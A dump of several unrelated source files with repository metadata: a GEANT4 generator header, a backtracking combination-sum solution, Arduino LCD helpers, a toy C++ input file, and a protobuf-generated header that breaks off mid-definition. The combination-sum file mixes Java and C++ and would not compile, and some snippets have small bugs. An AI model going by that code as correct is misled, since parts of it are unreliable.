scientific and * // * technical work of the GEANT4 collaboration. * // * By using, copying, modifying or distributing the software (or * // * any work based on the software) you agree to acknowledge its * // * use in resulting scientific publications, and indicate your * // * acceptance of all terms of the Geant4 Software license. * // ******************************************************************** // // $Id: MargotPrimaryGeneratorAction.cc,v 1.6 2006/11/15 17:47:21 roeder Exp $ // GEANT4 tag $Name: geant4-08-01-patch-01 $ // // Modified by Brian Roeder LPC Caen on 11/15/2006 // email - roeder@lpccaen.in2p3.fr // // ------------------------------------------------------------------- // Based on GEANT 4 - exampleN01, adding elements from other exps. // ------------------------------------------------------------------- // #ifndef MargotPrimaryGeneratorAction_h #define MargotPrimaryGeneratorAction_h 1 #include "globals.hh" #include "G4LorentzVector.hh" #include "G4VUserPrimaryGeneratorAction.hh" #include "MargotDataRecordTree.hh" class G4ParticleGun; class G4Event; class MargotPrimaryGeneratorAction : public G4VUserPrimaryGeneratorAction { public: MargotPrimaryGeneratorAction(){;} MargotPrimaryGeneratorAction(G4String pName, G4String SourceType, G4double BeamEng); ~MargotPrimaryGeneratorAction(); public: void GeneratePrimaries(G4Event* anEvent); private: G4ParticleGun* particleGun; G4int dataevent; G4double particle_energy; MargotDataRecordTree* MargotDataOutPG; G4int seed; G4String Source; G4String BeamName; }; #endif
[ "perezlou@flagtail.nscl.msu.edu" ]
perezlou@flagtail.nscl.msu.edu
f5cd4b1ebeddefd6811ae14e5df4f39939974689
5e4e2ae5c863dee1003c064ef70d74c9165fc65e
/backtrack/combination-sum-iii.cpp
8bc953b4043230c5ffeb0a64749eae51edf16f5d
[]
no_license
rootid/fft
3ec6f0e6ae1be96d531119b2571610646a7256e9
af187df0eafee37f69d6be95dc22685a96b96742
refs/heads/master
2020-12-14T09:24:18.915482
2019-07-25T23:52:21
2019-07-25T23:52:21
46,454,112
1
0
null
null
null
null
UTF-8
C++
false
false
2,686
cpp
//Find all possible combinations of k numbers that add up to a number n, given //that only numbers from 1 to 9 can be used and each combination should be a //unique set of numbers. //Example 1: //Input: k = 3, n = 7 //Output: //[[1,2,4]] //Example 2: //Input: k = 3, n = 9 //Output: //[[1,2,6], [1,3,5], [2,3,4]] #include "../headers/global.hpp" //######################################### DFS - Backtracking ######################################### public List<List<Integer>> combinationSum3(int k, int n) { List<List<Integer>> result = new LinkedList<>(); List<Integer> localList = new ArrayList<>(); combinationSumHelper(n,k,1,localList,result); return result; } private void combinationSumHelper(int n,int k, int start, List<Integer> localList,List<List<Integer>> result) { if(n <0 || localList.size() > k) return; if(localList.size() == k && n ==0) result.add(new ArrayList<>(localList)); for(int i=start;i<=9;i++) { if(n-i >= 0) { //Pruning to pick only + sum localList.add(i); combinationSumHelper(n - i, k, i+1, localList, result); localList.remove(localList.size() - 1); } } } //######################################### DFS - Backtracking ######################################### public List<List<Integer>> combinationSum3(int k, int n) { List<List<Integer>> result = new LinkedList<>(); List<Integer> localList = new ArrayList<>(); combinationSumHelper(n,k,1,localList,result); return result; } private void combinationSumHelper(int sum,int k, int start, List<Integer> localList,List<List<Integer>> result) { if(sum <0) return; if(sum == 0 && k == 0) result.add(new ArrayList<>(localList)); for(int i=start;i<=9;i++) { //(start-9) localList.add(i); combinationSumHelper(sum - i, k - 1, i+1, localList, result); localList.remove(localList.size() - 1); } } //######################################### DFS ######################################### void dfs(vector<vector <int> > &res,vector<int>& cv,int start,int k,int n) { if(n < 0 || cv.size() > k) { return; // prune } if(cv.size() == k && n == 0) { res.push_back(cv); } for(int i=start;i<=9;i++) { if(n-i >= 0 ) { //Biggest gain pruning while traversing cv.push_back(i); dfs(res,cv,i+1,k,n-i); cv.pop_back(); } } } vector<vector<int> > combinationSum3(int k, int n) { //iv : sz = 9 vector<vector<int> > res; vector<int> cv; int start = 1; dfs(res,cv,start,k,n); return res; } int main() { combinationSum3(); }
[ "vsinhsawant@gmail.com" ]
vsinhsawant@gmail.com
4c57422e0009423b7471491a6226f6af1f3cbccf
0db59776e129ddd7e708f43e1157c1308ac317cf
/Lcd_writes.ino
cd9d0e3c233359e35f4c1a430a90369a8ba0dd86
[]
no_license
gjholman/RBE-2001
cdb70cd9a404d8d435ab79545ea185f88cf49397
253d27cf2f2b50eda3ad3e73114e294e2bd9d92b
refs/heads/master
2021-01-20T05:43:33.972669
2017-04-29T17:38:06
2017-04-29T17:38:06
89,801,842
0
0
null
null
null
null
UTF-8
C++
false
false
2,148
ino
/* * use these to write integers and strings to the LCD as needed */ //writes the given string to the lcd in the given location void writeStrLCD(String s, int x, int y){ lcd.setCursor(x,y); lcd.print(s); } //writes the given integer to the lcd in the given location void writeIntLCD(int s, int x, int y){ lcd.setCursor(x,y); lcd.print(s); } //for use with the lineFollowProgram. This will print the current //state (on/off the line) to the lcd and the serial monitor void printLineStates(){ switch (integerState) { case 0: Serial.println("Forward"); //drive the robot forwards writeStrLCD("Forward ", 0, 1); break; case 4: Serial.println("goLeft"); writeStrLCD("goLeft ", 0, 1); break; //turn the robot slightly to the left case 1: Serial.println("goRight"); writeStrLCD("goRight ", 0, 1); break; //turn the robot slightly to the right case 5: Serial.println("atIntersect"); //robot is at an intersection, either stop or count it? writeStrLCD("atIntersect", 0, 1); break; default: Serial.println("No state"); break; } } //prints the destination value of the robot cleanly void printDestination(int x, int y){ if (destinationCount < 0) { writeIntLCD(destinationCount, x, y); } else { writeStrLCD(" ", 13, 1); writeIntLCD(destinationCount, x+1, y); } } //pritns the stage in the navigation, the value of the front limit switch and the number of inersections counted void printGoToStorageInfo(){ printStage(stageDS); writeStrLCD("AStor: ", 7,1); writeIntLCD(activeStorage, 13,1); writeStrLCD("DCnt: ",0,0); writeIntLCD(destinationCount, 7,0); writeStrLCD("Cnt: ", 10,0); writeIntLCD(countInter, 15,0); } //prints the stage of the robot in the bottom left corner void printStage(int stage){ writeStrLCD("Stg: ",0,1); writeIntLCD(stage,5,1); } //empties the top line of the screen void clearTopLine(){ writeStrLCD(" ",0,0); } //empties the bottom line of the screen void clearBottomLine(){ writeStrLCD(" ",0,0); }
[ "fadoodlebob@Garrett-Holmans-MacBook-Pro.local" ]
fadoodlebob@Garrett-Holmans-MacBook-Pro.local
06e794aa5c44fa16a9bd111b117a548d4b776101
7b80821b859a9ac660c7c2f4cf0bdecbb03129ee
/Intermediate Code Generation/input.cpp
d8f136d519d4eb99ca14ed8dd19f910fd5d38afc
[]
no_license
rohanrkamath/Mini-Compiler
c04af3cc1c15d1ce9ab17cb482214da7eea6dffb
c55101a2952ff294f5e24348dd7ad8c30e377a77
refs/heads/master
2022-09-15T07:22:49.684586
2020-06-02T12:08:08
2020-06-02T12:08:08
null
0
0
null
null
null
null
UTF-8
C++
false
false
229
cpp
#include<iostream> using namespace std; int main() { int i=2; int b=100; if(i>10) { cout<<"test1"; } else { cout<<"test2"; } for(i=0;i<10;i++) { b=b*2*3*4; } a=a*3+4; i=1; while(a>11) { cout<<"test3"; } }
[ "RohanKamath1126@users.noreply.github.com" ]
RohanKamath1126@users.noreply.github.com
6a855c53456a78df9bb478a48897b930ee576de1
a771175463cb7099bfbd3a70214adaacb23ae9b4
/Source/SignalMessages.pb.h
a058c7352b18dd5286ff865239b231af0c21b79a
[ "Apache-2.0" ]
permissive
MDR-69/SignalProcessor
619cba03532aceb26011689ab103aca28522dcce
bc3452ab5ac4d034dc0f66d0eed9e766ddd3cdad
refs/heads/master
2021-06-01T19:16:25.080628
2016-06-10T07:03:45
2016-06-10T07:03:45
null
0
0
null
null
null
null
UTF-8
C++
false
true
37,589
h
// Generated by the protocol buffer compiler. DO NOT EDIT! // source: SignalMessages.proto #ifndef PROTOBUF_SignalMessages_2eproto__INCLUDED #define PROTOBUF_SignalMessages_2eproto__INCLUDED #include <string> #include <google/protobuf/stubs/common.h> #if GOOGLE_PROTOBUF_VERSION < 2005000 #error This file was generated by a newer version of protoc which is #error incompatible with your Protocol Buffer headers. Please update #error your headers. #endif #if 2005000 < GOOGLE_PROTOBUF_MIN_PROTOC_VERSION #error This file was generated by an older version of protoc which is #error incompatible with your Protocol Buffer headers. Please #error regenerate this file with a newer version of protoc. #endif #include <google/protobuf/generated_message_util.h> #include <google/protobuf/message.h> #include <google/protobuf/repeated_field.h> #include <google/protobuf/extension_set.h> #include <google/protobuf/unknown_field_set.h> // @@protoc_insertion_point(includes) // Internal implementation detail -- do not call these. void protobuf_AddDesc_SignalMessages_2eproto(); void protobuf_AssignDesc_SignalMessages_2eproto(); void protobuf_ShutdownFile_SignalMessages_2eproto(); class SignalLevel; class SignalInstantVal; class Impulse; class LinearFFT; class LogFFT; class TimeInfo; // =================================================================== class SignalLevel : public ::google_public::protobuf::Message { public: SignalLevel(); virtual ~SignalLevel(); SignalLevel(const SignalLevel& from); inline SignalLevel& operator=(const SignalLevel& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const SignalLevel& default_instance(); void Swap(SignalLevel* other); // implements Message ---------------------------------------------- SignalLevel* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const SignalLevel& from); void MergeFrom(const SignalLevel& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // required float signalLevel = 2 [default = 0]; inline bool has_signallevel() const; inline void clear_signallevel(); static const int kSignalLevelFieldNumber = 2; inline float signallevel() const; inline void set_signallevel(float value); // @@protoc_insertion_point(class_scope:SignalLevel) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_signallevel(); inline void clear_has_signallevel(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float signallevel_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(2 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static SignalLevel* default_instance_; }; // ------------------------------------------------------------------- class SignalInstantVal : public ::google_public::protobuf::Message { public: SignalInstantVal(); virtual ~SignalInstantVal(); SignalInstantVal(const SignalInstantVal& from); inline SignalInstantVal& operator=(const SignalInstantVal& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const SignalInstantVal& default_instance(); void Swap(SignalInstantVal* other); // implements Message ---------------------------------------------- SignalInstantVal* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const SignalInstantVal& from); void MergeFrom(const SignalInstantVal& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // required float signalInstantVal = 2 [default = 0]; inline bool has_signalinstantval() const; inline void clear_signalinstantval(); static const int kSignalInstantValFieldNumber = 2; inline float signalinstantval() const; inline void set_signalinstantval(float value); // @@protoc_insertion_point(class_scope:SignalInstantVal) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_signalinstantval(); inline void clear_has_signalinstantval(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float signalinstantval_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(2 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static SignalInstantVal* default_instance_; }; // ------------------------------------------------------------------- class Impulse : public ::google_public::protobuf::Message { public: Impulse(); virtual ~Impulse(); Impulse(const Impulse& from); inline Impulse& operator=(const Impulse& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const Impulse& default_instance(); void Swap(Impulse* other); // implements Message ---------------------------------------------- Impulse* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const Impulse& from); void MergeFrom(const Impulse& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // @@protoc_insertion_point(class_scope:Impulse) private: inline void set_has_signalid(); inline void clear_has_signalid(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(1 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static Impulse* default_instance_; }; // ------------------------------------------------------------------- class LinearFFT : public ::google_public::protobuf::Message { public: LinearFFT(); virtual ~LinearFFT(); LinearFFT(const LinearFFT& from); inline LinearFFT& operator=(const LinearFFT& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const LinearFFT& default_instance(); void Swap(LinearFFT* other); // implements Message ---------------------------------------------- LinearFFT* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const LinearFFT& from); void MergeFrom(const LinearFFT& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // required float fundamentalFreq = 2 [default = 0]; inline bool has_fundamentalfreq() const; inline void clear_fundamentalfreq(); static const int kFundamentalFreqFieldNumber = 2; inline float fundamentalfreq() const; inline void set_fundamentalfreq(float value); // repeated float data = 3 [packed = true]; inline int data_size() const; inline void clear_data(); static const int kDataFieldNumber = 3; inline float data(int index) const; inline void set_data(int index, float value); inline void add_data(float value); inline const ::google_public::protobuf::RepeatedField< float >& data() const; inline ::google_public::protobuf::RepeatedField< float >* mutable_data(); // @@protoc_insertion_point(class_scope:LinearFFT) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_fundamentalfreq(); inline void clear_has_fundamentalfreq(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float fundamentalfreq_; ::google_public::protobuf::RepeatedField< float > data_; mutable int _data_cached_byte_size_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(3 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static LinearFFT* default_instance_; }; // ------------------------------------------------------------------- class LogFFT : public ::google_public::protobuf::Message { public: LogFFT(); virtual ~LogFFT(); LogFFT(const LogFFT& from); inline LogFFT& operator=(const LogFFT& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const LogFFT& default_instance(); void Swap(LogFFT* other); // implements Message ---------------------------------------------- LogFFT* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const LogFFT& from); void MergeFrom(const LogFFT& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // optional int32 signalID = 1 [default = 1]; inline bool has_signalid() const; inline void clear_signalid(); static const int kSignalIDFieldNumber = 1; inline ::google_public::protobuf::int32 signalid() const; inline void set_signalid(::google_public::protobuf::int32 value); // optional float fundamentalFreq = 2; inline bool has_fundamentalfreq() const; inline void clear_fundamentalfreq(); static const int kFundamentalFreqFieldNumber = 2; inline float fundamentalfreq() const; inline void set_fundamentalfreq(float value); // optional float band1 = 3; inline bool has_band1() const; inline void clear_band1(); static const int kBand1FieldNumber = 3; inline float band1() const; inline void set_band1(float value); // optional float band2 = 4; inline bool has_band2() const; inline void clear_band2(); static const int kBand2FieldNumber = 4; inline float band2() const; inline void set_band2(float value); // optional float band3 = 5; inline bool has_band3() const; inline void clear_band3(); static const int kBand3FieldNumber = 5; inline float band3() const; inline void set_band3(float value); // optional float band4 = 6; inline bool has_band4() const; inline void clear_band4(); static const int kBand4FieldNumber = 6; inline float band4() const; inline void set_band4(float value); // optional float band5 = 7; inline bool has_band5() const; inline void clear_band5(); static const int kBand5FieldNumber = 7; inline float band5() const; inline void set_band5(float value); // optional float band6 = 8; inline bool has_band6() const; inline void clear_band6(); static const int kBand6FieldNumber = 8; inline float band6() const; inline void set_band6(float value); // optional float band7 = 9; inline bool has_band7() const; inline void clear_band7(); static const int kBand7FieldNumber = 9; inline float band7() const; inline void set_band7(float value); // optional float band8 = 10; inline bool has_band8() const; inline void clear_band8(); static const int kBand8FieldNumber = 10; inline float band8() const; inline void set_band8(float value); // optional float band9 = 11; inline bool has_band9() const; inline void clear_band9(); static const int kBand9FieldNumber = 11; inline float band9() const; inline void set_band9(float value); // optional float band10 = 12; inline bool has_band10() const; inline void clear_band10(); static const int kBand10FieldNumber = 12; inline float band10() const; inline void set_band10(float value); // optional float band11 = 13; inline bool has_band11() const; inline void clear_band11(); static const int kBand11FieldNumber = 13; inline float band11() const; inline void set_band11(float value); // optional float band12 = 14; inline bool has_band12() const; inline void clear_band12(); static const int kBand12FieldNumber = 14; inline float band12() const; inline void set_band12(float value); // @@protoc_insertion_point(class_scope:LogFFT) private: inline void set_has_signalid(); inline void clear_has_signalid(); inline void set_has_fundamentalfreq(); inline void clear_has_fundamentalfreq(); inline void set_has_band1(); inline void clear_has_band1(); inline void set_has_band2(); inline void clear_has_band2(); inline void set_has_band3(); inline void clear_has_band3(); inline void set_has_band4(); inline void clear_has_band4(); inline void set_has_band5(); inline void clear_has_band5(); inline void set_has_band6(); inline void clear_has_band6(); inline void set_has_band7(); inline void clear_has_band7(); inline void set_has_band8(); inline void clear_has_band8(); inline void set_has_band9(); inline void clear_has_band9(); inline void set_has_band10(); inline void clear_has_band10(); inline void set_has_band11(); inline void clear_has_band11(); inline void set_has_band12(); inline void clear_has_band12(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; ::google_public::protobuf::int32 signalid_; float fundamentalfreq_; float band1_; float band2_; float band3_; float band4_; float band5_; float band6_; float band7_; float band8_; float band9_; float band10_; float band11_; float band12_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(14 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static LogFFT* default_instance_; }; // ------------------------------------------------------------------- class TimeInfo : public ::google_public::protobuf::Message { public: TimeInfo(); virtual ~TimeInfo(); TimeInfo(const TimeInfo& from); inline TimeInfo& operator=(const TimeInfo& from) { CopyFrom(from); return *this; } inline const ::google_public::protobuf::UnknownFieldSet& unknown_fields() const { return _unknown_fields_; } inline ::google_public::protobuf::UnknownFieldSet* mutable_unknown_fields() { return &_unknown_fields_; } static const ::google_public::protobuf::Descriptor* descriptor(); static const TimeInfo& default_instance(); void Swap(TimeInfo* other); // implements Message ---------------------------------------------- TimeInfo* New() const; void CopyFrom(const ::google_public::protobuf::Message& from); void MergeFrom(const ::google_public::protobuf::Message& from); void CopyFrom(const TimeInfo& from); void MergeFrom(const TimeInfo& from); void Clear(); bool IsInitialized() const; int ByteSize() const; bool MergePartialFromCodedStream( ::google_public::protobuf::io::CodedInputStream* input); void SerializeWithCachedSizes( ::google_public::protobuf::io::CodedOutputStream* output) const; ::google_public::protobuf::uint8* SerializeWithCachedSizesToArray(::google_public::protobuf::uint8* output) const; int GetCachedSize() const { return _cached_size_; } private: void SharedCtor(); void SharedDtor(); void SetCachedSize(int size) const; public: ::google_public::protobuf::Metadata GetMetadata() const; // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- // required bool isPlaying = 1 [default = false]; inline bool has_isplaying() const; inline void clear_isplaying(); static const int kIsPlayingFieldNumber = 1; inline bool isplaying() const; inline void set_isplaying(bool value); // required float tempo = 2 [default = 0]; inline bool has_tempo() const; inline void clear_tempo(); static const int kTempoFieldNumber = 2; inline float tempo() const; inline void set_tempo(float value); // required float position = 3 [default = 0]; inline bool has_position() const; inline void clear_position(); static const int kPositionFieldNumber = 3; inline float position() const; inline void set_position(float value); // @@protoc_insertion_point(class_scope:TimeInfo) private: inline void set_has_isplaying(); inline void clear_has_isplaying(); inline void set_has_tempo(); inline void clear_has_tempo(); inline void set_has_position(); inline void clear_has_position(); ::google_public::protobuf::UnknownFieldSet _unknown_fields_; bool isplaying_; float tempo_; float position_; mutable int _cached_size_; ::google_public::protobuf::uint32 _has_bits_[(3 + 31) / 32]; friend void protobuf_AddDesc_SignalMessages_2eproto(); friend void protobuf_AssignDesc_SignalMessages_2eproto(); friend void protobuf_ShutdownFile_SignalMessages_2eproto(); void InitAsDefaultInstance(); static TimeInfo* default_instance_; }; // =================================================================== // =================================================================== // SignalLevel // required int32 signalID = 1 [default = 1]; inline bool SignalLevel::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void SignalLevel::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void SignalLevel::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void SignalLevel::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 SignalLevel::signalid() const { return signalid_; } inline void SignalLevel::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // required float signalLevel = 2 [default = 0]; inline bool SignalLevel::has_signallevel() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void SignalLevel::set_has_signallevel() { _has_bits_[0] |= 0x00000002u; } inline void SignalLevel::clear_has_signallevel() { _has_bits_[0] &= ~0x00000002u; } inline void SignalLevel::clear_signallevel() { signallevel_ = 0; clear_has_signallevel(); } inline float SignalLevel::signallevel() const { return signallevel_; } inline void SignalLevel::set_signallevel(float value) { set_has_signallevel(); signallevel_ = value; } // ------------------------------------------------------------------- // SignalInstantVal // required int32 signalID = 1 [default = 1]; inline bool SignalInstantVal::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void SignalInstantVal::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void SignalInstantVal::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void SignalInstantVal::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 SignalInstantVal::signalid() const { return signalid_; } inline void SignalInstantVal::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // required float signalInstantVal = 2 [default = 0]; inline bool SignalInstantVal::has_signalinstantval() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void SignalInstantVal::set_has_signalinstantval() { _has_bits_[0] |= 0x00000002u; } inline void SignalInstantVal::clear_has_signalinstantval() { _has_bits_[0] &= ~0x00000002u; } inline void SignalInstantVal::clear_signalinstantval() { signalinstantval_ = 0; clear_has_signalinstantval(); } inline float SignalInstantVal::signalinstantval() const { return signalinstantval_; } inline void SignalInstantVal::set_signalinstantval(float value) { set_has_signalinstantval(); signalinstantval_ = value; } // ------------------------------------------------------------------- // Impulse // required int32 signalID = 1 [default = 1]; inline bool Impulse::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void Impulse::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void Impulse::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void Impulse::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 Impulse::signalid() const { return signalid_; } inline void Impulse::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // ------------------------------------------------------------------- // LinearFFT // required int32 signalID = 1 [default = 1]; inline bool LinearFFT::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void LinearFFT::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void LinearFFT::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void LinearFFT::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 LinearFFT::signalid() const { return signalid_; } inline void LinearFFT::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // required float fundamentalFreq = 2 [default = 0]; inline bool LinearFFT::has_fundamentalfreq() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void LinearFFT::set_has_fundamentalfreq() { _has_bits_[0] |= 0x00000002u; } inline void LinearFFT::clear_has_fundamentalfreq() { _has_bits_[0] &= ~0x00000002u; } inline void LinearFFT::clear_fundamentalfreq() { fundamentalfreq_ = 0; clear_has_fundamentalfreq(); } inline float LinearFFT::fundamentalfreq() const { return fundamentalfreq_; } inline void LinearFFT::set_fundamentalfreq(float value) { set_has_fundamentalfreq(); fundamentalfreq_ = value; } // repeated float data = 3 [packed = true]; inline int LinearFFT::data_size() const { return data_.size(); } inline void LinearFFT::clear_data() { data_.Clear(); } inline float LinearFFT::data(int index) const { return data_.Get(index); } inline void LinearFFT::set_data(int index, float value) { data_.Set(index, value); } inline void LinearFFT::add_data(float value) { data_.Add(value); } inline const ::google_public::protobuf::RepeatedField< float >& LinearFFT::data() const { return data_; } inline ::google_public::protobuf::RepeatedField< float >* LinearFFT::mutable_data() { return &data_; } // ------------------------------------------------------------------- // LogFFT // optional int32 signalID = 1 [default = 1]; inline bool LogFFT::has_signalid() const { return (_has_bits_[0] & 0x00000001u) != 0; } inline void LogFFT::set_has_signalid() { _has_bits_[0] |= 0x00000001u; } inline void LogFFT::clear_has_signalid() { _has_bits_[0] &= ~0x00000001u; } inline void LogFFT::clear_signalid() { signalid_ = 1; clear_has_signalid(); } inline ::google_public::protobuf::int32 LogFFT::signalid() const { return signalid_; } inline void LogFFT::set_signalid(::google_public::protobuf::int32 value) { set_has_signalid(); signalid_ = value; } // optional float fundamentalFreq = 2; inline bool LogFFT::has_fundamentalfreq() const { return (_has_bits_[0] & 0x00000002u) != 0; } inline void LogFFT::set_has_fundamentalfreq() { _has_bits_[0] |= 0x00000002u; } inline void 